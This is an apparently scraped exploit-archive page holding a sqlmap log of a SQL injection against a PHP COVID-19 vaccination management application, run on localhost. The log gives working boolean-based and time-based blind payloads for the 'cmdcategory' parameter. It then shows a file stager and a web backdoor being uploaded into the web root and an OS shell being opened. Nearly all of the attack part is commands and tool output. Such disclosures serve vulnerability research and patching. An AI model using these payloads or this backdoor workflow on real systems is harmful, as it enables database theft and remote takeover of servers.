

Posted [Mar 28, 2022](#)

StumbleUpon

Download

```
[*] starting @ 00:35:27 /2022-03-28/
```

| Su | Mo | Tu | We | Th | Fr | Sa |
|----|----|----|----|----|----|----|
| | | 1 | 2 | 3 | 4 | 5 |
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 | | | |

George Tsimpidas 3 files

Info Disclosure (2,656)

Apple (1,926)

```
[00:35:31] [INFO] resuming back-end DBMS 'mysql'
[00:35:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cmdcategory (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cmdcategory=Private') AND 3773=3773-- fUxB

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: cmdcategory=Private') AND (SELECT 9765 FROM (SELECT (SLEEP(5)))DnRk)-- LWnB
---
[00:35:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.1.2, Apache 2.4.52
back-end DBMS: MySQL 5 (MariaDB fork)
[00:35:32] [INFO] going to use a web backdoor for command prompt
[00:35:32] [INFO] fingerprinting the back-end DBMS operating system
[00:35:32] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[00:36:09] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs,
/usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www')
(default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /opt/lampp/htdocs/covid-19-vaccination/
[00:36:30] [WARNING] unable to automatically parse any web server path
[00:36:30] [INFO] trying to upload the file stager on '/opt/lampp/htdocs/covid-19-vaccination/' via LIMIT
'LIMITS TERMINATED BY' method
[00:36:30] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:36:30] [WARNING] if the problem persists please try to lower the number of used threads (option '--
threads')
[00:36:31] [INFO] the file stager has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/' -
http://localhost:80/covid-19-vaccination/tmpumlrq.php
[00:36:31] [WARNING] unable to upload the file through the web file stager to '/opt/lampp/htdocs/covid-19-
vaccination/'
[00:36:31] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the
user running the web server process has not write privileges over the folder where the user running the DBMS
process was able to upload the file stager or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n] y
[00:36:33] [INFO] the backdoor has been successfully uploaded on '/opt/lampp/htdocs/covid-19-vaccination/' -
http://localhost:80/covid-19-vaccination/tmpbwipl.php
[00:36:33] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
```

- Intrusion Detection (866) BSD (370)
- Java (2,888) CentOS (55)
- JavaScript (817) Cisco (1,917)
- Kernel (6,255) Debian (6,620)
- Local (14,173) Fedora (1,690)
- Magazine (586) FreeBSD (1,242)
- Overflow (12,390) Gentoo (4,272)
- Perl (1,417) HPUX (878)
- PHP (5,087) iOS (330)
- Proof of Concept (2,290) iPhone (108)
- Protocol (3,426) IRIX (220)
- Python (1,449) Juniper (67)
- Remote (30,009) Linux (44,118)
- Root (3,496) Mac OS X (684)
- Ruby (594) Mandriva (3,105)
- Scanner (1,631) NetBSD (255)
- Security Tool (7,768) OpenBSD (479)
- Shell (3,098) RedHat (12,339)
- Shellcode (1,204) Slackware (941)
- Sniffer (885) Solaris (1,607)
- Spoof (2,165) SUSE (1,444)
- SQL Injection (16,089) Ubuntu (8,147)
- TCP (2,377) UNIX (9,150)
- Trojan (685) UnixWare (185)
- UDP (875) Windows (6,504)
- Virus (661) Other
- Vulnerability (31,104)
- Web (9,329)
- Whitepaper (3,728)
- x86 (946)
- XSS (17,478)
- Other

[Login](#) or [Register](#) to add favorites

Site Links


| |
|----------------|
| News by Month |
| News Tags |
| Files by Month |
| File Tags |
| File Directory |


About Us

| |
|-----------------------|
| History & Purpose |
| Contact Information |
| Terms of Service |
| Privacy Statement |
| Copyright Information |

Hosting By

| |
|---------|
| Rokasec |
|---------|

 Follow us on Twitter

 Subscribe to an RSS Feed